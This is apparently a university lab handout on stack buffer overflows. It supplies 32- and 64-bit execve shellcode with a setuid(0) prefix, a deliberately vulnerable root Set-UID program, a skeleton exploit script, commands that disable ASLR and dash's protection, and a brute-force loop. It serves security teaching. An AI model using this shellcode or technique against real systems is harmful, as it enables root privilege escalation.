CS 656 LAB 3
Buffer Overflow

Notes:

- This is an individual lab.
- The code and other answers you submit MUST be entirely your own work, and you are bound by the WSU Academic Integrity Policy (`https://www.wichita.edu/about/student_conduct/ai.php`). You MAY consult with other students about the conceptualization of the tasks and the meaning of the questions, but you MUST NOT look at any part of someone else's solution or collaborate with anyone. You may consult published references, provided that you appropriately cite them in your reports and programs, as you would do in an academic paper.
- Read the entire document carefully before you start working on the lab.

GOOD LUCK!

1 Overview

The learning objective of this lab is to gain first-hand experience on the buffer overflow vulnerability. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

In this lab, you are given a program with a buffer overflow vulnerability. Your task is to develop a scheme to exploit the vulnerability and gain root privilege. In addition to the attacks, you will be guided through several protection schemes that have been implemented in the operating system to counter against buffer overflow attacks. You will need to evaluate whether the schemes work or not and explain *why*. This lab covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout in a function invocation
- Shellcode
- Address randomization

Lab Environment. This lab has been tested on Ubuntu 20.04. You will be given access to the remote Ubuntu environment with necessary packages installed. You may also run your own virtual machine by downloading it from the SEED labs website (see the details here: `https://github.com/seed-labs/seed-labs/blob/master/manuals/vm/seedvm-manual.md`).

2 Submission

Submit a PDF document with your answers to the questions in this lab. Your report should have a subheading for each question, and your answers should be inside the corresponding subheading. If applicable, list the

important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.

Note: *Your report must contain your Name (Lastname, Firstname) and WSU ID. Use the following format for your report's PDF filename:* `lab3report_YOUR_WSU_ID.pdf`. *There is a 10% reduction of points if your report does not follow the correct filename format and/or missing name/ID inside the document.*

3 Environment Setup: Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether our attack can still be successful or not.

Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer overflow attacks. This feature can be disabled using the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

Configuring `/bin/sh`. In the recent versions of Ubuntu OS, the `/bin/sh` symbolic link points to the `/bin/dash` shell. The `dash` program, as well as `bash`, has implemented a security countermeasure that prevents itself from being executed in a `Set-UID` process. Basically, if they detect that they are executed in a `Set-UID` process, they will immediately change the effective user ID to the process's real user ID, essentially dropping the privilege.

Since our victim program is a `Set-UID` program, and our attack relies on running `/bin/sh`, the countermeasure in `/bin/dash` makes our attack more difficult. Therefore, we will link `/bin/sh` to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in `/bin/dash` can be easily defeated). We have installed a shell program called `zsh` in our Ubuntu 20.04 VM. The following command can be used to link `/bin/sh` to `zsh`:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

StackGuard and Non-Executable Stack. These are two additional countermeasures implemented in the system. They can be turned off during the compilation. We will discuss them later when we compile the vulnerable program.

4 Lab Tasks

4.1 Task 1: Running Shellcode [10 Points]

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.

A shellcode is basically a piece of code that launches a shell. If we use C code to implement it, it will look like the following:

```c
#include <stdio.h>

int main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
```

Unfortunately, we cannot just compile this code and use the binary code. The best way to write a shellcode is to use assembly code as discussed below.

4.1.1 32-bit Shellcode

```
; Store the command on stack
xor  eax, eax
push eax
push "//sh"
push "/bin"
mov  ebx, esp     ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push eax          ; argv[1] = 0
push ebx          ; argv[0] --> "/bin//sh"
mov  ecx, esp     ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor  edx, edx     ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor  eax, eax     ;
mov  al,  0x0b    ; execve()'s system call number
int  0x80
```

The shellcode above basically invokes the `execve()` system call to execute `/bin/sh`. The details of the shellcode is not within the scope of this lab. We now provide a very brief explanation.

- The third instruction pushes `"//sh"`, rather than `"/sh"` into the stack. This is because we need a 32-bit number here, and `"/sh"` has only 24 bits. Fortunately, `"//"` is equivalent to `"/"`, so we can get away with a double slash symbol.
- We need to pass three arguments to `execve()` via the `ebx`, `ecx` and `edx` registers, respectively. The majority of the shellcode basically constructs the content for these three arguments.
- The system call `execve()` is called when we set `al` to `0x0b`, and execute `"int 0x80"`.

4.1.2 64-Bit Shellcode

We provide a sample 64-bit shellcode in the following. It is quite similar to the 32-bit shellcode, except that the names of the registers are different and the registers used by the `execve()` system call are also different. Some explanation of the code is given in the comment section.

```
xor  rdx, rdx        ; rdx = 0: execve()'s 3rd argument
push rdx
mov  rax, '/bin//sh' ; the command we want to run
push rax             ;
mov  rdi, rsp        ; rdi --> "/bin//sh": execve()'s 1st argument
push rdx             ; argv[1] = 0
push rdi             ; argv[0] --> "/bin//sh"
mov  rsi, rsp        ; rsi --> argv[]: execve()'s 2nd argument
xor  rax, rax
mov  al,  0x3b       ; execve()'s system call number
syscall
```

4.1.3 Invoking Shellcode

We have generated the binary code from the assembly code above, and put the code in a C program called `call_shellcode.c` inside the `shellcode` folder. In this task, we will test the shellcode.

Listing 1: `call_shellcode.c`

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[] =
#if __x86_64__
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode); // Copy the shellcode to the stack
   int (*func)() = (int(*)())code;
   func();                  // Invoke the shellcode from the stack
   return 1;
}
```

The code above includes two copies of shellcode, one is 32-bit and the other is 64-bit. When we compile the program using the `-m32` flag, the 32-bit version will be used; without this flag, the 64-bit version will be used. We provide a `Makefile` to compile the above C code.

Listing 2: `Makefile` for `call_shellcode.c`

```
all:
   gcc -m32 -z execstack -o a32.out call_shellcode.c
   gcc -z execstack -o a64.out call_shellcode.c
```

```
setuid:
   gcc -m32 -z execstack -o a32.out call_shellcode.c
   gcc -z execstack -o a64.out call_shellcode.c
   sudo chown root a32.out a64.out
   sudo chmod 4755 a32.out a64.out

clean:
   rm -f a32.out a64.out *.o
```

Using the provided `Makefile`, you can compile the code by typing `make`. Two binaries will be created, `a32.out` (32-bit) and `a64.out` (64-bit). It should be noted that the compilation uses the `execstack` option, which allows code to be executed from the stack; without this option, the program will fail.

Deliverable. Run both 32 and 64-bit variants. In your report, describe your observations (no more than 2-3 sentences for each of them) and screenshots of the terminal outputs of the shellcode programs. Clearly mark task numbers in your report.

4.2 Task 2: Launching Attack on 32-bit Program [40 Points]

Understanding the Vulnerable Program. The vulnerable program used in this lab is called `stack.c`, which is in the `code` folder. This program has a buffer overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege.

Listing 3: The vulnerable program (`stack.c`)

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define BUF_SIZE 1XY // set based on your WSU ID (see below)

int bof(char *str)
{
   char buffer[BUF_SIZE];

   /* The following statement has a buffer overflow problem */
   strcpy(buffer, str);

   return 1;
}

int main(int argc, char **argv)
{
   char str[517];
   FILE *badfile;

   badfile = fopen("badfile", "r");
   fread(str, sizeof(char), 517, badfile);
   bof(str);
   printf("Returned Properly\n");
   return 1;
}
```

In the above code, set `BUF_SIZE` based on last two digits of your WSU ID. For example, if your WSU ID is C656S656, `BUF_SIZE` would be 156. The above program has a buffer overflow vulnerability. It first reads an input from a file called `badfile`, and then passes this input to another buffer in the function `bof()`. The original input can have a maximum length of `517` bytes, but the buffer in `bof()` is only `BUF_SIZE` bytes long, which is less than `517`. Because `strcpy()` does not check boundaries, buffer overflow will occur. Since this program is a root-owned `Set-UID` program, if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program gets its input from a file called `badfile`. This file is under users' control. Now, our objective is to create the contents for `badfile`, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

Compilation. To compile the above vulnerable program, do not forget to turn off the StackGuard and the non-executable stack protections using the `-fno-stack-protector` and `"-z execstack"` options. After the compilation, we need to make the program a root-owned `Set-UID` program. We can achieve this by first change the ownership of the program to `root` (Line ①), and then change the permission to `4755` to enable the `Set-UID` bit (Line ②). It should be noted that changing ownership must be done before turning on the `Set-UID` bit, because ownership change will cause the `Set-UID` bit to be turned off.

```
$ gcc -m32 -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack          ①
$ sudo chmod 4755 stack          ②
```

4.2.1 Exploiting the Vulnerability

To exploit the buffer-overflow vulnerability in the target program, the most important thing to know is the distance between the buffer's starting position and the place where the return-address is stored. We will use a debugging method to find it out. Since we have the source code of the target program, we can compile it with the debugging flag turned on. That will make it more convenient to debug. We will add the `-g` flag to `gcc` command, so debugging information is added to the binary. Let us create the debugging version using the following command:

```
$ gcc -m32 -g -o stack-dbg -z execstack -fno-stack-protector stack.c
```

We will use `gdb` to debug `stack-dbg`. We need to create a file called `badfile` before running the program.

```
$ touch badfile       ← Create an empty badfile
$ gdb stack-dbg
gdb-peda$ b bof       ← Set a break point at function bof()
Breakpoint 1 at 0x124d: file stack.c, line 18.
gdb-peda$ run         ← Start executing the program
...
Breakpoint 1, bof (str=0xffffcf57 ...) at stack.c:18
18  {
   gdb-peda$ next        ← See the note below
   ...
   22     strcpy(buffer, str);
   gdb-peda$ p $ebp      ← Get the ebp value
   $1 = (void *) 0xffffdfd8
   gdb-peda$ p &buffer   ← Get the buffer's address
```

```
$2 = (char (*)[100]) 0xffffdfac
gdb-peda$ quit          ← exit
```

Note 1. When `gdb` stops inside the `bof()` function, it stops before the `ebp` register is set to point to the current stack frame, so if we print out the value of `ebp` here, we will get the caller's `ebp` value. We need to use `next` to execute a few instructions and stop after the `ebp` register is modified to point to the stack frame of the `bof()` function.

Note 2. It should be noted that the frame pointer value obtained from `gdb` is different from that during the actual execution (without using `gdb`). This is because `gdb` has pushed some environment data into the stack before running the debugged program. When the program runs directly without using `gdb`, the stack does not have those data, so the actual frame pointer value will be larger. You should keep this in mind when constructing your payload.

4.2.2 Launching Attacks

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside `badfile`. We will use a Python program to do that. We provide a skeleton program called `exploit.py`, which is included in the lab setup file. The code is incomplete, and students need to replace some of the essential values in the code.

Listing 4: `exploit.py`

```
#!/usr/bin/python3
import sys

shellcode= (
"\x31\xc0"             # xorl    %eax,%eax
"\x50"                 # pushl   %eax
"\x68""//sh"           # pushl   $0x68732f2f
"\x68""/bin"           # pushl   $0x6e69622f
"\x89\xe3"             # movl    %esp,%ebx
"\x50"                 # pushl   %eax
"\x53"                 # pushl   %ebx
"\x89\xe1"             # movl    %esp,%ecx
"\x99"                 # cdq
"\xb0\x0b"             # movb    $0x0b,%al
"\xcd\x80"             # int     $0x80
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 0               # ☆ Need to change ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00           # ☆ Need to change ☆
```

```
offset = 0              # ☆ Need to change ☆

L = 4     # Use 4 for 32-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
```

After you finish the above program, run it. This will generate the contents for `badfile`. Then run the vulnerable program `stack`. If your exploit is implemented correctly, you should be able to get a root shell:

```
$./exploit.py     // create the badfile
$./stack       // launch the attack by running the vulnerable program
# <---- Bingo! You've got a root shell!
```

It should be noted that although you have obtained the "#" prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

```
# id
uid=(500) euid=0(root)
```

Deliverables. Clearly mark task numbers in your report.

(2.a) A screenshot of your `gdb` debug session.
(2.b) A screenshot of the terminal showing the root shell obtained by exploiting the buffer overflow vulnerability in `stack.c`.
(2.c) Write the values of the following variables from your `exploit.py` file: `start`, `ret`, `ofset`. How did your find those values?
(2.d) Your modified `exploit.py` file. Include the source code of this file in your PDF report.

Remarks: In your report, you must demonstrate your investigation and attack. You also need to explain how the values used in your `exploit.py` are decided. Since these values are the most important part of the attack, a detailed explanation is required. *Only demonstrating a successful attack without explaining why the attack works will not receive any points.*

4.3 Task 3: Defeating `dash`'s Countermeasure [25 Points]

The `dash` shell in the Ubuntu OS drops privileges when it detects that the effective UID does not equal to the real UID (which is the case in a `Set-UID` program). This is achieved by changing the effective UID back to the real UID, essentially, dropping the privilege. In the previous tasks, we let `/bin/sh` points to another shell called `zsh`, which does not have such a countermeasure. In this task, we will change it back, and see how we can defeat the countermeasure. Do the following, so `/bin/sh` points back to `/bin/dash`.

```
$ sudo ln -sf /bin/dash /bin/sh
```

To defeat the countermeasure in buffer-overflow attacks, all we need to do is to change the real UID, so it equals the effective UID. When a root-owned `Set-UID` program runs, the effective UID is zero, so

before we invoke the shell program, we just need to change the real UID to zero. We can achieve this by invoking `setuid(0)` before executing `execve()` in the shellcode.

The following assembly code shows how to invoke `setuid(0)` — you need to add it to the beginning of the shellcode. The binary code is already put inside `call_shellcode.c`.

```
; Invoke setuid(0): 32-bit
xor ebx, ebx      ; ebx = 0: setuid()'s argument
xor eax, eax
mov  al, 0xd5     ; setuid()'s system call number
int 0x80

; Invoke setuid(0): 64-bit
xor rdi, rdi      ; rdi = 0: setuid()'s argument
xor rax, rax
mov  al, 0x69     ; setuid()'s system call number
syscall
```

Experiment. Compile `call_shellcode.c` into root-owned binary (by typing "`make setuid`"). Run the shellcode `a32.out` and `a64.out` with or without the `setuid(0)` system call.

Launching the attack again. Now, using the updated shellcode, we can attempt the attack again on the vulnerable program, and this time, with the shell's countermeasure turned on. Repeat your attack on Task 1 (see Section 4.2), and see whether you can get the root shell. After getting the root shell, run the following command to prove that the countermeasure is turned on.

```
# ls -l /bin/sh /bin/zsh /bin/dash
```

Deliverables. Clearly mark task numbers in your report.

(3.a) Your observations after running shellcode `a32.out` and `a64.out` with or without the `setuid(0)` system call.
(3.b) A screenshot of the output of the executable files `a32.out` and `a64.out`.
(3.c) Your observations after compiling the files with "`make setuid`" flags in this task to the shellcode of Task 1 and attempting the buffer overflow attack again.
(3.d) A screenshot of the root shell obtained with the overflow attack after changing the shell to dash.

4.4 Task 4: Defeating Address Randomization [25 Points]

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have $2^{19} = 524,288$ possibilities. This number is not that high and can be exhausted easily with the brute-force approach.[1] In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on the Ubuntu's address randomization using the following command. Then we run the same attack against `stack` (i.e., a 32-bit program — the binary you get from Task 2, see Section 4.2).

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

[1] Brute-force attacks on 64-bit programs is much harder, because the entropy is much larger.

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the `badfile` can eventually be correct. You can use the following shell script (`task4.sh`) to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. *Be patient*, as this may take a few minutes (if you are very unlucky, it may take longer).

Listing 5: `task4.sh`

```
#!/bin/bash

SECONDS=0
value=0

while true; do
   value=$(( $value + 1 ))
   duration=$SECONDS
   min=$(($duration / 60))
   sec=$(($duration % 60))
   echo "$min minutes and $sec seconds elapsed."
   echo "The program has been running $value times so far."
   ./stack
done
```

Deliverables. Clearly mark task numbers in your report.

(4.a) Your observations (no more that 3-4 sentences) after running the attack in Task 2 using the above script with address randomization OFF.

(4.b) A screenshot of your terminal with the root shell obtained by running the brute-force script with address randomization ON.